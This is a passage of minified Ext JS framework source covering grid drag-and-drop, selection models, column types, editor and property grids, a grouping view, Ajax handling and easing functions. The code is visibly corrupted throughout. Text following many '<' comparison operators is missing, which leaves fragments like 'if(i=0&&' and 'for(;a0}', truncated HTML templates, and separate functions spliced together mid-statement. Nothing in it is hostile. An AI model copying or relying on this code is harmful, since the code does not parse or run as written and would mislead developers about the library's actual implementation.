c}});Ext.grid.HeaderDragZone=Ext.extend(Ext.dd.DragZone,{maxDragWidth:120,constructor:function(a,c,b){this.grid=a;this.view=a.getView();this.ddGroup="gridHeader"+this.grid.getGridEl().id;Ext.grid.HeaderDragZone.superclass.constructor.call(this,c);if(b){this.setHandleElId(Ext.id(c));this.setOuterHandleElId(Ext.id(b))}this.scroll=false},getDragData:function(c){var a=Ext.lib.Event.getTarget(c),b=this.view.findHeaderCell(a);if(b){return{ddel:b.firstChild,header:b}}return false},onInitDrag:function(a){this.dragHeadersDisabled=this.view.headersDisabled;this.view.headersDisabled=true;var b=this.dragData.ddel.cloneNode(true);b.id=Ext.id();b.style.width=Math.min(this.dragData.header.offsetWidth,this.maxDragWidth)+"px";this.proxy.update(b);return true},afterValidDrop:function(){this.completeDrop()},afterInvalidDrop:function(){this.completeDrop()},completeDrop:function(){var a=this.view,b=this.dragHeadersDisabled;setTimeout(function(){a.headersDisabled=b},50)}});Ext.grid.HeaderDropZone=Ext.extend(Ext.dd.DropZone,{proxyOffsets:[-4,-9],fly:Ext.Element.fly,constructor:function(a,c,b){this.grid=a;this.view=a.getView();this.proxyTop=Ext.DomHelper.append(document.body,{cls:"col-move-top",html:" "},true);this.proxyBottom=Ext.DomHelper.append(document.body,{cls:"col-move-bottom",html:" "},true);this.proxyTop.hide=this.proxyBottom.hide=function(){this.setLeftTop(-100,-100);this.setStyle("visibility","hidden")};this.ddGroup="gridHeader"+this.grid.getGridEl().id;Ext.grid.HeaderDropZone.superclass.constructor.call(this,a.getGridEl().dom)},getTargetFromEvent:function(c){var a=Ext.lib.Event.getTarget(c),b=this.view.findCellIndex(a);if(b!==false){return this.view.getHeaderCell(b)}},nextVisible:function(c){var b=this.view,a=this.grid.colModel;c=c.nextSibling;while(c){if(!a.isHidden(b.getCellIndex(c))){return c}c=c.nextSibling}return null},prevVisible:function(c){var b=this.view,a=this.grid.colModel;c=c.prevSibling;while(c){if(!a.isHidden(b.getCellIndex(c))){return c}c=c.prevSibling}return null},positionIndicator:function(d,l,k){var a=Ext.lib.Event.getPageX(k),g=Ext.lib.Dom.getRegion(l.firstChild),c,i,b=g.top+this.proxyOffsets[1];if((g.right-a)<=(g.right-g.left)/2){c=g.right+this.view.borderWidth;i="after"}else{c=g.left;i="before"}if(this.grid.colModel.isFixed(this.view.getCellIndex(l))){return false}c+=this.proxyOffsets[0];this.proxyTop.setLeftTop(c,b);this.proxyTop.show();if(!this.bottomOffset){this.bottomOffset=this.view.mainHd.getHeight()}this.proxyBottom.setLeftTop(c,b+this.proxyTop.dom.offsetHeight+this.bottomOffset);this.proxyBottom.show();return i},onNodeEnter:function(d,a,c,b){if(b.header!=d){this.positionIndicator(b.header,d,c)}},onNodeOver:function(g,b,d,c){var a=false;if(c.header!=g){a=this.positionIndicator(c.header,g,d)}if(!a){this.proxyTop.hide();this.proxyBottom.hide()}return a?this.dropAllowed:this.dropNotAllowed},onNodeOut:function(d,a,c,b){this.proxyTop.hide();this.proxyBottom.hide()},onNodeDrop:function(b,o,g,c){var d=c.header;if(d!=b){var l=this.grid.colModel,k=Ext.lib.Event.getPageX(g),a=Ext.lib.Dom.getRegion(b.firstChild),p=(a.right-k)<=((a.right-a.left)/2)?"after":"before",i=this.view.getCellIndex(d),m=this.view.getCellIndex(b);if(p=="after"){m++}if(i=0&&this.config[a].resizable!==false&&this.config[a].fixed!==true},setHidden:function(a,b){var d=this.config[a];if(d.hidden!==b){d.hidden=b;this.totalWidth=null;this.fireEvent("hiddenchange",this,a,b)}},setEditor:function(a,b){this.config[a].setEditor(b)},destroy:function(){var b=this.config.length,a=0;for(;a0},isSelected:function(a){var b=Ext.isNumber(a)?this.grid.store.getAt(a):a;return(b&&this.selections.key(b.id)?true:false)},isIdSelected:function(a){return(this.selections.key(a)?true:false)},handleMouseDown:function(d,i,h){if(h.button!==0||this.isLocked()){return}var a=this.grid.getView();if(h.shiftKey&&!this.singleSelect&&this.last!==false){var c=this.last;this.selectRange(c,i,h.ctrlKey);this.last=c;a.focusRow(i)}else{var b=this.isSelected(i);if(h.ctrlKey&&b){this.deselectRow(i)}else{if(!b||this.getCount()>1){this.selectRow(i,h.ctrlKey||h.shiftKey);a.focusRow(i)}}}},selectRows:function(c,d){if(!d){this.clearSelections()}for(var b=0,a=c.length;b=a;c--){this.selectRow(c,true)}}},deselectRange:function(c,b,a){if(this.isLocked()){return}for(var d=c;d<=b;d++){this.deselectRow(d,a)}},selectRow:function(b,d,a){if(this.isLocked()||(b<0||b>=this.grid.store.getCount())||(d&&this.isSelected(b))){return}var c=this.grid.store.getAt(b);if(c&&this.fireEvent("beforerowselect",this,b,d,c)!==false){if(!d||this.singleSelect){this.clearSelections()}this.selections.add(c);this.last=this.lastActive=b;if(!a){this.grid.getView().onRowSelect(b)}if(!this.silent){this.fireEvent("rowselect",this,b,c);this.fireEvent("selectionchange",this)}}},deselectRow:function(b,a){if(this.isLocked()){return}if(this.last==b){this.last=false}if(this.lastActive==b){this.lastActive=false}var c=this.grid.store.getAt(b);if(c){this.selections.remove(c);if(!a){this.grid.getView().onRowDeselect(b)}this.fireEvent("rowdeselect",this,b,c);this.fireEvent("selectionchange",this)}},acceptsNav:function(c,b,a){return !a.isHidden(b)&&a.isCellEditable(b,c)},onEditorKey:function(o,m){var d=m.getKey(),h,i=this.grid,q=i.lastEdit,l=i.activeEditor,b=m.shiftKey,p,q,a,n;if(d==m.TAB){m.stopEvent();l.completeEdit();if(b){h=i.walkCells(l.row,l.col-1,-1,this.acceptsNav,this)}else{h=i.walkCells(l.row,l.col+1,1,this.acceptsNav,this)}}else{if(d==m.ENTER){if(this.moveEditorOnEnter!==false){if(b){h=i.walkCells(q.row-1,q.col,-1,this.acceptsNav,this)}else{h=i.walkCells(q.row+1,q.col,1,this.acceptsNav,this)}}}}if(h){a=h[0];n=h[1];this.onEditorSelect(a,q.row);if(i.isEditor&&i.editing){p=i.activeEditor;if(p&&p.field.triggerBlur){p.field.triggerBlur()}}i.startEditing(a,n)}},onEditorSelect:function(b,a){if(a!=b){this.selectRow(b)}},destroy:function(){Ext.destroy(this.rowNav);this.rowNav=null;Ext.grid.RowSelectionModel.superclass.destroy.call(this)}});Ext.grid.Column=Ext.extend(Ext.util.Observable,{isColumn:true,constructor:function(b){Ext.apply(this,b);if(Ext.isString(this.renderer)){this.renderer=Ext.util.Format[this.renderer]}else{if(Ext.isObject(this.renderer)){this.scope=this.renderer.scope;this.renderer=this.renderer.fn}}if(!this.scope){this.scope=this}var a=this.editor;delete this.editor;this.setEditor(a);this.addEvents("click","contextmenu","dblclick","mousedown");Ext.grid.Column.superclass.constructor.call(this)},processEvent:function(b,d,c,g,a){return this.fireEvent(b,this,c,g,d)},destroy:function(){if(this.setEditor){this.setEditor(null)}this.purgeListeners()},renderer:function(a){return a},getEditor:function(a){return this.editable!==false?this.editor:null},setEditor:function(b){var a=this.editor;if(a){if(a.gridEditor){a.gridEditor.destroy();delete a.gridEditor}else{a.destroy()}}this.editor=null;if(b){if(!b.isXType){b=Ext.create(b,"textfield")}this.editor=b}},getCellEditor:function(b){var a=this.getEditor(b);if(a){if(!a.startEdit){if(!a.gridEditor){a.gridEditor=new Ext.grid.GridEditor(a)}a=a.gridEditor}}return a}});Ext.grid.BooleanColumn=Ext.extend(Ext.grid.Column,{trueText:"true",falseText:"false",undefinedText:" ",constructor:function(a){Ext.grid.BooleanColumn.superclass.constructor.call(this,a);var c=this.trueText,d=this.falseText,b=this.undefinedText;this.renderer=function(e){if(e===undefined){return b}if(!e||e==="false"){return d}return c}}});Ext.grid.NumberColumn=Ext.extend(Ext.grid.Column,{format:"0,000.00",constructor:function(a){Ext.grid.NumberColumn.superclass.constructor.call(this,a);this.renderer=Ext.util.Format.numberRenderer(this.format)}});Ext.grid.DateColumn=Ext.extend(Ext.grid.Column,{format:"m/d/Y",constructor:function(a){Ext.grid.DateColumn.superclass.constructor.call(this,a);this.renderer=Ext.util.Format.dateRenderer(this.format)}});Ext.grid.TemplateColumn=Ext.extend(Ext.grid.Column,{constructor:function(a){Ext.grid.TemplateColumn.superclass.constructor.call(this,a);var b=(!Ext.isPrimitive(this.tpl)&&this.tpl.compile)?this.tpl:new Ext.XTemplate(this.tpl);this.renderer=function(d,e,c){return b.apply(c.data)};this.tpl=b}});Ext.grid.ActionColumn=Ext.extend(Ext.grid.Column,{header:" ",actionIdRe:/x-action-col-(\d+)/,altText:"",constructor:function(b){var g=this,c=b.items||(g.items=[g]),a=c.length,d,e;Ext.grid.ActionColumn.superclass.constructor.call(g,b);g.renderer=function(h,i){h=Ext.isFunction(b.renderer)?b.renderer.apply(this,arguments)||"":"";i.css+=" x-action-col-cell";for(d=0;d"}return h}},destroy:function(){delete this.items;delete this.renderer;return Ext.grid.ActionColumn.superclass.destroy.apply(this,arguments)},processEvent:function(c,i,d,k,b){var a=i.getTarget().className.match(this.actionIdRe),h,g;if(a&&(h=this.items[parseInt(a[1],10)])){if(c=="click"){(g=h.handler||this.handler)&&g.call(h.scope||this.scope||this,d,k,b,h,i)}else{if((c=="mousedown")&&(h.stopSelection!==false)){return false}}}return Ext.grid.ActionColumn.superclass.processEvent.apply(this,arguments)}});Ext.grid.Column.types={gridcolumn:Ext.grid.Column,booleancolumn:Ext.grid.BooleanColumn,numbercolumn:Ext.grid.NumberColumn,datecolumn:Ext.grid.DateColumn,templatecolumn:Ext.grid.TemplateColumn,actioncolumn:Ext.grid.ActionColumn};Ext.grid.RowNumberer=Ext.extend(Object,{header:"",width:23,sortable:false,constructor:function(a){Ext.apply(this,a);if(this.rowspan){this.renderer=this.renderer.createDelegate(this)}},fixed:true,hideable:false,menuDisabled:true,dataIndex:"",id:"numberer",rowspan:undefined,renderer:function(b,c,a,d){if(this.rowspan){c.cellAttr='rowspan="'+this.rowspan+'"'}return d+1}});Ext.grid.CheckboxSelectionModel=Ext.extend(Ext.grid.RowSelectionModel,{header:'
     
    ',width:20,sortable:false,menuDisabled:true,fixed:true,hideable:false,dataIndex:"",id:"checker",isColumn:true,constructor:function(){Ext.grid.CheckboxSelectionModel.superclass.constructor.apply(this,arguments);if(this.checkOnly){this.handleMouseDown=Ext.emptyFn}},initEvents:function(){Ext.grid.CheckboxSelectionModel.superclass.initEvents.call(this);this.grid.on("render",function(){Ext.fly(this.grid.getView().innerHd).on("mousedown",this.onHdMouseDown,this)},this)},processEvent:function(b,d,c,g,a){if(b=="mousedown"){this.onMouseDown(d,d.getTarget());return false}else{return Ext.grid.Column.prototype.processEvent.apply(this,arguments)}},onMouseDown:function(c,b){if(c.button===0&&b.className=="x-grid3-row-checker"){c.stopEvent();var d=c.getTarget(".x-grid3-row");if(d){var a=d.rowIndex;if(this.isSelected(a)){this.deselectRow(a)}else{this.selectRow(a,true);this.grid.getView().focusRow(a)}}}},onHdMouseDown:function(c,a){if(a.className=="x-grid3-hd-checker"){c.stopEvent();var b=Ext.fly(a.parentNode);var d=b.hasClass("x-grid3-hd-checker-on");if(d){b.removeClass("x-grid3-hd-checker-on");this.clearSelections()}else{b.addClass("x-grid3-hd-checker-on");this.selectAll()}}},renderer:function(b,c,a){return'
     
    '},onEditorSelect:function(b,a){if(a!=b&&!this.checkOnly){this.selectRow(b)}}});Ext.grid.CellSelectionModel=Ext.extend(Ext.grid.AbstractSelectionModel,{constructor:function(a){Ext.apply(this,a);this.selection=null;this.addEvents("beforecellselect","cellselect","selectionchange");Ext.grid.CellSelectionModel.superclass.constructor.call(this)},initEvents:function(){this.grid.on("cellmousedown",this.handleMouseDown,this);this.grid.on(Ext.EventManager.getKeyEvent(),this.handleKeyDown,this);this.grid.getView().on({scope:this,refresh:this.onViewChange,rowupdated:this.onRowUpdated,beforerowremoved:this.clearSelections,beforerowsinserted:this.clearSelections});if(this.grid.isEditor){this.grid.on("beforeedit",this.beforeEdit,this)}},beforeEdit:function(a){this.select(a.row,a.column,false,true,a.record)},onRowUpdated:function(a,b,c){if(this.selection&&this.selection.record==c){a.onCellSelect(b,this.selection.cell[1])}},onViewChange:function(){this.clearSelections(true)},getSelectedCell:function(){return this.selection?this.selection.cell:null},clearSelections:function(b){var a=this.selection;if(a){if(b!==true){this.grid.view.onCellDeselect(a.cell[0],a.cell[1])}this.selection=null;this.fireEvent("selectionchange",this,null)}},hasSelection:function(){return this.selection?true:false},handleMouseDown:function(b,d,a,c){if(c.button!==0||this.isLocked()){return}this.select(d,a)},select:function(g,c,b,e,d){if(this.fireEvent("beforecellselect",this,g,c)!==false){this.clearSelections();d=d||this.grid.store.getAt(g);this.selection={record:d,cell:[g,c]};if(!b){var a=this.grid.getView();a.onCellSelect(g,c);if(e!==true){a.focusCell(g,c)}}this.fireEvent("cellselect",this,g,c);this.fireEvent("selectionchange",this,this.selection)}},isSelectable:function(c,b,a){return !a.isHidden(b)},onEditorKey:function(b,a){if(a.getKey()==a.TAB){this.handleKeyDown(a)}},handleKeyDown:function(l){if(!l.isNavKeyPress()){return}var d=l.getKey(),i=this.grid,q=this.selection,b=this,n=function(g,c,e){return i.walkCells(g,c,e,i.isEditor&&i.editing?b.acceptsNav:b.isSelectable,b)},p,h,a,m,o;switch(d){case l.ESC:case l.PAGE_UP:case l.PAGE_DOWN:break;default:l.stopEvent();break}if(!q){p=n(0,0,1);if(p){this.select(p[0],p[1])}return}p=q.cell;a=p[0];m=p[1];switch(d){case l.TAB:if(l.shiftKey){h=n(a,m-1,-1)}else{h=n(a,m+1,1)}break;case l.DOWN:h=n(a+1,m,1);break;case l.UP:h=n(a-1,m,-1);break;case l.RIGHT:h=n(a,m+1,1);break;case l.LEFT:h=n(a,m-1,-1);break;case l.ENTER:if(i.isEditor&&!i.editing){i.startEditing(a,m);return}break}if(h){a=h[0];m=h[1];this.select(a,m);if(i.isEditor&&i.editing){o=i.activeEditor;if(o&&o.field.triggerBlur){o.field.triggerBlur()}i.startEditing(a,m)}}},acceptsNav:function(c,b,a){return !a.isHidden(b)&&a.isCellEditable(b,c)}});Ext.grid.EditorGridPanel=Ext.extend(Ext.grid.GridPanel,{clicksToEdit:2,forceValidation:false,isEditor:true,detectEdit:false,autoEncode:false,trackMouseOver:false,initComponent:function(){Ext.grid.EditorGridPanel.superclass.initComponent.call(this);if(!this.selModel){this.selModel=new Ext.grid.CellSelectionModel()}this.activeEditor=null;this.addEvents("beforeedit","afteredit","validateedit")},initEvents:function(){Ext.grid.EditorGridPanel.superclass.initEvents.call(this);this.getGridEl().on("mousewheel",this.stopEditing.createDelegate(this,[true]),this);this.on("columnresize",this.stopEditing,this,[true]);if(this.clicksToEdit==1){this.on("cellclick",this.onCellDblClick,this)}else{var a=this.getView();if(this.clicksToEdit=="auto"&&a.mainBody){a.mainBody.on("mousedown",this.onAutoEditClick,this)}this.on("celldblclick",this.onCellDblClick,this)}},onResize:function(){Ext.grid.EditorGridPanel.superclass.onResize.apply(this,arguments);var a=this.activeEditor;if(this.editing&&a){a.realign(true)}},onCellDblClick:function(b,c,a){this.startEditing(c,a)},onAutoEditClick:function(c,b){if(c.button!==0){return}var g=this.view.findRowIndex(b),a=this.view.findCellIndex(b);if(g!==false&&a!==false){this.stopEditing();if(this.selModel.getSelectedCell){var d=this.selModel.getSelectedCell();if(d&&d[0]===g&&d[1]===a){this.startEditing(g,a)}}else{if(this.selModel.isSelected(g)){this.startEditing(g,a)}}}},onEditComplete:function(b,d,a){this.editing=false;this.lastActiveEditor=this.activeEditor;this.activeEditor=null;var c=b.record,h=this.colModel.getDataIndex(b.col);d=this.postEditValue(d,a,c,h);if(this.forceValidation===true||String(d)!==String(a)){var g={grid:this,record:c,field:h,originalValue:a,value:d,row:b.row,column:b.col,cancel:false};if(this.fireEvent("validateedit",g)!==false&&!g.cancel&&String(d)!==String(a)){c.set(h,g.value);delete g.cancel;this.fireEvent("afteredit",g)}}this.view.focusCell(b.row,b.col)},startEditing:function(i,c){this.stopEditing();if(this.colModel.isCellEditable(c,i)){this.view.ensureVisible(i,c,true);var d=this.store.getAt(i),h=this.colModel.getDataIndex(c),g={grid:this,record:d,field:h,value:d.data[h],row:i,column:c,cancel:false};if(this.fireEvent("beforeedit",g)!==false&&!g.cancel){this.editing=true;var b=this.colModel.getCellEditor(c,i);if(!b){return}if(!b.rendered){b.parentEl=this.view.getEditorParent(b);b.on({scope:this,render:{fn:function(e){e.field.focus(false,true)},single:true,scope:this},specialkey:function(l,k){this.getSelectionModel().onEditorKey(l,k)},complete:this.onEditComplete,canceledit:this.stopEditing.createDelegate(this,[true])})}Ext.apply(b,{row:i,col:c,record:d});this.lastEdit={row:i,col:c};this.activeEditor=b;b.selectSameEditor=(this.activeEditor==this.lastActiveEditor);var a=this.preEditValue(d,h);b.startEdit(this.view.getCell(i,c).firstChild,Ext.isDefined(a)?a:"");(function(){delete b.selectSameEditor}).defer(50)}}},preEditValue:function(a,c){var b=a.data[c];return this.autoEncode&&Ext.isString(b)?Ext.util.Format.htmlDecode(b):b},postEditValue:function(c,a,b,d){return this.autoEncode&&Ext.isString(c)?Ext.util.Format.htmlEncode(c):c},stopEditing:function(b){if(this.editing){var a=this.lastActiveEditor=this.activeEditor;if(a){a[b===true?"cancelEdit":"completeEdit"]();this.view.focusCell(a.row,a.col)}this.activeEditor=null}this.editing=false}});Ext.reg("editorgrid",Ext.grid.EditorGridPanel);Ext.grid.GridEditor=function(b,a){Ext.grid.GridEditor.superclass.constructor.call(this,b,a);b.monitorTab=false};Ext.extend(Ext.grid.GridEditor,Ext.Editor,{alignment:"tl-tl",autoSize:"width",hideEl:false,cls:"x-small-editor x-grid-editor",shim:false,shadow:false});Ext.grid.PropertyRecord=Ext.data.Record.create([{name:"name",type:"string"},"value"]);Ext.grid.PropertyStore=Ext.extend(Ext.util.Observable,{constructor:function(a,b){this.grid=a;this.store=new Ext.data.Store({recordType:Ext.grid.PropertyRecord});this.store.on("update",this.onUpdate,this);if(b){this.setSource(b)}Ext.grid.PropertyStore.superclass.constructor.call(this)},setSource:function(c){this.source=c;this.store.removeAll();var b=[];for(var a in c){if(this.isEditableValue(c[a])){b.push(new Ext.grid.PropertyRecord({name:a,value:c[a]},a))}}this.store.loadRecords({records:b},{},true)},onUpdate:function(e,a,d){if(d==Ext.data.Record.EDIT){var b=a.data.value;var c=a.modified.value;if(this.grid.fireEvent("beforepropertychange",this.source,a.id,b,c)!==false){this.source[a.id]=b;a.commit();this.grid.fireEvent("propertychange",this.source,a.id,b,c)}else{a.reject()}}},getProperty:function(a){return this.store.getAt(a)},isEditableValue:function(a){return Ext.isPrimitive(a)||Ext.isDate(a)},setValue:function(d,c,a){var b=this.getRec(d);if(b){b.set("value",c);this.source[d]=c}else{if(a){this.source[d]=c;b=new Ext.grid.PropertyRecord({name:d,value:c},d);this.store.add(b)}}},remove:function(b){var a=this.getRec(b);if(a){this.store.remove(a);delete this.source[b]}},getRec:function(a){return this.store.getById(a)},getSource:function(){return this.source}});Ext.grid.PropertyColumnModel=Ext.extend(Ext.grid.ColumnModel,{nameText:"Name",valueText:"Value",dateFormat:"m/j/Y",trueText:"true",falseText:"false",constructor:function(c,b){var d=Ext.grid,e=Ext.form;this.grid=c;d.PropertyColumnModel.superclass.constructor.call(this,[{header:this.nameText,width:50,sortable:true,dataIndex:"name",id:"name",menuDisabled:true},{header:this.valueText,width:50,resizable:false,dataIndex:"value",id:"value",menuDisabled:true}]);this.store=b;var a=new e.Field({autoCreate:{tag:"select",children:[{tag:"option",value:"true",html:this.trueText},{tag:"option",value:"false",html:this.falseText}]},getValue:function(){return this.el.dom.value=="true"}});this.editors={date:new d.GridEditor(new e.DateField({selectOnFocus:true})),string:new d.GridEditor(new e.TextField({selectOnFocus:true})),number:new d.GridEditor(new e.NumberField({selectOnFocus:true,style:"text-align:left;"})),"boolean":new d.GridEditor(a,{autoSize:"both"})};this.renderCellDelegate=this.renderCell.createDelegate(this);this.renderPropDelegate=this.renderProp.createDelegate(this)},renderDate:function(a){return a.dateFormat(this.dateFormat)},renderBool:function(a){return this[a?"trueText":"falseText"]},isCellEditable:function(a,b){return a==1},getRenderer:function(a){return a==1?this.renderCellDelegate:this.renderPropDelegate},renderProp:function(a){return this.getPropertyName(a)},renderCell:function(d,b,c){var a=this.grid.customRenderers[c.get("name")];if(a){return a.apply(this,arguments)}var e=d;if(Ext.isDate(d)){e=this.renderDate(d)}else{if(typeof d=="boolean"){e=this.renderBool(d)}}return Ext.util.Format.htmlEncode(e)},getPropertyName:function(b){var a=this.grid.propertyNames;return a&&a[b]?a[b]:b},getCellEditor:function(a,e){var b=this.store.getProperty(e),d=b.data.name,c=b.data.value;if(this.grid.customEditors[d]){return this.grid.customEditors[d]}if(Ext.isDate(c)){return this.editors.date}else{if(typeof c=="number"){return this.editors.number}else{if(typeof c=="boolean"){return this.editors["boolean"]}else{return this.editors.string}}}},destroy:function(){Ext.grid.PropertyColumnModel.superclass.destroy.call(this);this.destroyEditors(this.editors);this.destroyEditors(this.grid.customEditors)},destroyEditors:function(b){for(var a in b){Ext.destroy(b[a])}}});Ext.grid.PropertyGrid=Ext.extend(Ext.grid.EditorGridPanel,{enableColumnMove:false,stripeRows:false,trackMouseOver:false,clicksToEdit:1,enableHdMenu:false,viewConfig:{forceFit:true},initComponent:function(){this.customRenderers=this.customRenderers||{};this.customEditors=this.customEditors||{};this.lastEditRow=null;var b=new Ext.grid.PropertyStore(this);this.propStore=b;var a=new Ext.grid.PropertyColumnModel(this,b);b.store.sort("name","ASC");this.addEvents("beforepropertychange","propertychange");this.cm=a;this.ds=b.store;Ext.grid.PropertyGrid.superclass.initComponent.call(this);this.mon(this.selModel,"beforecellselect",function(e,d,c){if(c===0){this.startEditing.defer(200,this,[d,1]);return false}},this)},onRender:function(){Ext.grid.PropertyGrid.superclass.onRender.apply(this,arguments);this.getGridEl().addClass("x-props-grid")},afterRender:function(){Ext.grid.PropertyGrid.superclass.afterRender.apply(this,arguments);if(this.source){this.setSource(this.source)}},setSource:function(a){this.propStore.setSource(a)},getSource:function(){return this.propStore.getSource()},setProperty:function(c,b,a){this.propStore.setValue(c,b,a)},removeProperty:function(a){this.propStore.remove(a)}});Ext.reg("propertygrid",Ext.grid.PropertyGrid);Ext.grid.GroupingView=Ext.extend(Ext.grid.GridView,{groupByText:"Group By This Field",showGroupsText:"Show in Groups",hideGroupedColumn:false,showGroupName:true,startCollapsed:false,enableGrouping:true,enableGroupingMenu:true,enableNoGroups:true,emptyGroupText:"(None)",ignoreAdd:false,groupTextTpl:"{text}",groupMode:"value",cancelEditOnToggle:true,initTemplates:function(){Ext.grid.GroupingView.superclass.initTemplates.call(this);this.state={};var a=this.grid.getSelectionModel();a.on(a.selectRow?"beforerowselect":"beforecellselect",this.onBeforeRowSelect,this);if(!this.startGroup){this.startGroup=new Ext.XTemplate('
    ','
    ',this.groupTextTpl,"
    ",'
    ')}this.startGroup.compile();if(!this.endGroup){this.endGroup="
    "}},findGroup:function(a){return Ext.fly(a).up(".x-grid-group",this.mainBody.dom)},getGroups:function(){return this.hasRows()?this.mainBody.dom.childNodes:[]},onAdd:function(d,a,b){if(this.canGroup()&&!this.ignoreAdd){var c=this.getScrollState();this.fireEvent("beforerowsinserted",d,b,b+(a.length-1));this.refresh();this.restoreScroll(c);this.fireEvent("rowsinserted",d,b,b+(a.length-1))}else{if(!this.canGroup()){Ext.grid.GroupingView.superclass.onAdd.apply(this,arguments)}}},onRemove:function(e,a,b,d){Ext.grid.GroupingView.superclass.onRemove.apply(this,arguments);var c=document.getElementById(a._groupId);if(c&&c.childNodes[1].childNodes.length<1){Ext.removeNode(c)}this.applyEmptyText()},refreshRow:function(a){if(this.ds.getCount()==1){this.refresh()}else{this.isUpdating=true;Ext.grid.GroupingView.superclass.refreshRow.apply(this,arguments);this.isUpdating=false}},beforeMenuShow:function(){var c,a=this.hmenu.items,b=this.cm.config[this.hdCtxIndex].groupable===false;if((c=a.get("groupBy"))){c.setDisabled(b)}if((c=a.get("showGroups"))){c.setDisabled(b);c.setChecked(this.canGroup(),true)}},renderUI:function(){var a=Ext.grid.GroupingView.superclass.renderUI.call(this);if(this.enableGroupingMenu&&this.hmenu){this.hmenu.add("-",{itemId:"groupBy",text:this.groupByText,handler:this.onGroupByClick,scope:this,iconCls:"x-group-by-icon"});if(this.enableNoGroups){this.hmenu.add({itemId:"showGroups",text:this.showGroupsText,checked:true,checkHandler:this.onShowGroupsClick,scope:this})}this.hmenu.on("beforeshow",this.beforeMenuShow,this)}return a},processEvent:function(b,i){Ext.grid.GroupingView.superclass.processEvent.call(this,b,i);var h=i.getTarget(".x-grid-group-hd",this.mainBody);if(h){var g=this.getGroupField(),d=this.getPrefix(g),a=h.id.substring(d.length),c=new RegExp("gp-"+Ext.escapeRe(g)+"--hd");a=a.substr(0,a.length-3);if(a||c.test(h.id)){this.grid.fireEvent("group"+b,this.grid,g,a,i)}if(b=="mousedown"&&i.button==0){this.toggleGroup(h.parentNode)}}},onGroupByClick:function(){var a=this.grid;this.enableGrouping=true;a.store.groupBy(this.cm.getDataIndex(this.hdCtxIndex));a.fireEvent("groupchange",a,a.store.getGroupState());this.beforeMenuShow();this.refresh()},onShowGroupsClick:function(a,b){this.enableGrouping=b;if(b){this.onGroupByClick()}else{this.grid.store.clearGrouping();this.grid.fireEvent("groupchange",this,null)}},toggleRowIndex:function(c,a){if(!this.canGroup()){return}var b=this.getRow(c);if(b){this.toggleGroup(this.findGroup(b),a)}},toggleGroup:function(c,b){var a=Ext.get(c);b=Ext.isDefined(b)?b:a.hasClass("x-grid-group-collapsed");if(this.state[a.id]!==b){if(this.cancelEditOnToggle!==false){this.grid.stopEditing(true)}this.state[a.id]=b;a[b?"removeClass":"addClass"]("x-grid-group-collapsed")}},toggleAllGroups:function(c){var b=this.getGroups();for(var d=0,a=b.length;d0){return setTimeout(d,c)}d();return 0}});Ext.applyIf(String,{format:function(b){var a=Ext.toArray(arguments,1);return b.replace(/\{(\d+)\}/g,function(c,d){return a[d]})}});Ext.applyIf(Array.prototype,{indexOf:function(b,c){var a=this.length;c=c||0;c+=(c<0)?a:0;for(;c0){for(var p=0;p0);if(!A){A=true;for(I=0;I=0){B=s.substr(0,A).toLowerCase();if(s.charAt(A+1)==" "){++A}C[B]=s.substr(A+1)}})}catch(z){}return{tId:u.tId,status:v?204:w.status,statusText:v?"No Content":w.statusText,getResponseHeader:function(s){return C[s.toLowerCase()]},getAllResponseHeaders:function(){return x},responseText:w.responseText,responseXML:w.responseXML,argument:y}}function o(s){if(s.tId){k.conn[s.tId]=null}s.conn=null;s=null}function f(x,y,t,s){if(!y){o(x);return}var v,u;try{if(x.conn.status!==undefined&&x.conn.status!=0){v=x.conn.status}else{v=13030}}catch(w){v=13030}if((v>=200&&v<300)||(Ext.isIE&&v==1223)){u=p(x,y.argument);if(y.success){if(!y.scope){y.success(u)}else{y.success.apply(y.scope,[u])}}}else{switch(v){case 12002:case 12029:case 12030:case 12031:case 12152:case 13030:u=e(x.tId,y.argument,(t?t:false),s);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}break;default:u=p(x,y.argument);if(y.failure){if(!y.scope){y.failure(u)}else{y.failure.apply(y.scope,[u])}}}}o(x);u=null}function m(u,x,s,w,t,v){if(s&&s.readyState==4){clearInterval(t[w]);t[w]=null;if(v){clearTimeout(k.timeout[w]);k.timeout[w]=null}f(u,x)}}function r(s,t){k.abort(s,t,true)}function n(u,x){x=x||{};var s=u.conn,w=u.tId,t=k.poll,v=x.timeout||null;if(v){k.conn[w]=s;k.timeout[w]=setTimeout(r.createCallback(u,x),v)}t[w]=setInterval(m.createCallback(u,x,s,w,t,v),k.pollInterval)}function i(w,t,v,s){var u=l()||null;if(u){u.conn.open(w,t,true);if(k.useDefaultXhrHeader){j("X-Requested-With",k.defaultXhrHeader)}if(s&&k.useDefaultHeader&&(!k.headers||!k.headers[d])){j(d,k.defaultPostHeader)}if(k.defaultHeaders||k.headers){h(u)}n(u,v);u.conn.send(s||null)}return u}function l(){var t;try{if(t=q(k.transactionId)){k.transactionId++}}catch(s){}finally{return t}}function q(v){var s;try{s=new XMLHttpRequest()}catch(u){for(var t=0;t0&&isFinite(w)){if(r.curFrame+w>=v){w=v-(u+1)}r.curFrame+=w}}};g.Bezier=new function(){this.getPosition=function(p,o){var r=p.length,m=[],q=1-o,l,k;for(l=0;l0&&!Ext.isArray(s[0])){s=[s]}else{}Ext.fly(p,"_anim").position();A.setXY(p,j(x)?x:A.getXY(p));o=w.getAttr("points");if(j(y)){q=k.call(w,y,o);for(r=0,t=s.length;r0){n=n.concat(s)}n[n.length]=q}else{m.setRunAttr.call(this,u)}}});var k=function(n,p){var o=g.Dom.getXY(this.el);return[n[0]-o[0]+p[0],n[1]-o[1]+p[1]]}})()})();(function(){var d=Math.abs,i=Math.PI,h=Math.asin,g=Math.pow,e=Math.sin,f=Ext.lib;Ext.apply(f.Easing,{easeBoth:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k+j:-m/2*((--k)*(k-2)-1)+j},easeInStrong:function(k,j,m,l){return m*(k/=l)*k*k*k+j},easeOutStrong:function(k,j,m,l){return -m*((k=k/l-1)*k*k*k-1)+j},easeBothStrong:function(k,j,m,l){return((k/=l/2)<1)?m/2*k*k*k*k+j:-m/2*((k-=2)*k*k*k-2)+j},elasticIn:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var m;if(k>=d(q)){m=n/(2*i)*h(q/k)}else{k=q;m=n/4}return -(k*g(2,10*(l-=1))*e((l*o-m)*(2*i)/n))+j},elasticOut:function(l,j,q,o,k,n){if(l==0||(l/=o)==1){return l==0?j:j+q}n=n||(o*0.3);var 